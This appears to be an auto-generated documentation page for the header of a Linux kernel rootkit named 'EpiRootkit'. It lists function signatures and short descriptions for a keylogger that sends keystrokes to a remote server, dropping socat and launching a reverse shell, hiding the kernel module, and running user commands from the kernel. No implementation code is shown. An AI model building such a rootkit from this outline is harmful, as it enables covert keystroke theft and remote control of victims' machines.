![]() |
EpiRootkit
By STDBOOL
|
#include <linux/fs.h>#include <linux/ftrace.h>#include <linux/init.h>#include <linux/kallsyms.h>#include <linux/kernel.h>#include <linux/kprobes.h>#include <linux/sched.h>#include <linux/slab.h>#include <linux/spinlock.h>#include <linux/types.h>#include <linux/uaccess.h>#include "network.h"Go to the source code of this file.
Classes | |
| struct | exec_code_stds |
| struct | command |
Macros | |
| #define | exec_str_as_command(user_cmd, catch_stds) exec_str_as_command_with_timeout(user_cmd, catch_stds, USERLAND_CMD_TIMEOUT) |
| #define | exec_str_as_command_no_timeout(user_cmd, catch_stds) exec_str_as_command_with_timeout(user_cmd, catch_stds, 0) |
Functions | |
| int | exec_str_as_command_with_timeout (char *user_cmd, bool catch_stds, int timeout) |
| int | epikeylog_init (void) |
| Initializes the keylogger module. | |
| int | epikeylog_send_to_server (void) |
| Handles sending the keylogger buffer content to the remote server. | |
| int | epikeylog_exit (void) |
| Exits the keylogger module, unregisters the notifier, and cleans up. | |
| int | drop_socat_binaire (void) |
| int | remove_socat_binaire (void) |
| int | launch_reverse_shell (char *args) |
| int | hide_module (void) |
| int | unhide_module (void) |
| #define exec_str_as_command | ( | user_cmd, | |
| catch_stds | |||
| ) | exec_str_as_command_with_timeout(user_cmd, catch_stds, USERLAND_CMD_TIMEOUT) |
Definition at line 37 of file epirootkit.h.
| #define exec_str_as_command_no_timeout | ( | user_cmd, | |
| catch_stds | |||
| ) | exec_str_as_command_with_timeout(user_cmd, catch_stds, 0) |
Definition at line 38 of file epirootkit.h.
| int drop_socat_binaire | ( | void | ) |
Drops the socat binary at the specified path.
Definition at line 32 of file socat.c.
| int epikeylog_exit | ( | void | ) |
Exits the keylogger module, unregisters the notifier, and cleans up.
Definition at line 363 of file epikeylog.c.
| int epikeylog_init | ( | void | ) |
Initializes the keylogger module.
Definition at line 325 of file epikeylog.c.
| int epikeylog_send_to_server | ( | void | ) |
Handles sending the keylogger buffer content to the remote server.
Definition at line 245 of file epikeylog.c.
| int exec_str_as_command_with_timeout | ( | char * | user_cmd, |
| bool | catch_stds, | ||
| int | timeout | ||
| ) |
exec_str_as_command_with_timeout - Executes a user command with optional timeout and output redirection
| user_cmd | Command string to execute |
| catch_stds | Whether to redirect stdout and stderr to predefined files |
| timeout | Timeout in seconds for the command; 0 means no timeout |
Constructs the final command string with timeout and redirection logic, then executes it in usermode using the kernel's usermodehelper API.
Return: Exit status of the command, or negative error code on failure.
Definition at line 139 of file userland.c.
| int hide_module | ( | void | ) |
Definition at line 7 of file ghost.c.
| int launch_reverse_shell | ( | char * | args | ) |
Definition at line 83 of file socat.c.
| int remove_socat_binaire | ( | void | ) |
| int unhide_module | ( | void | ) |
Definition at line 24 of file ghost.c.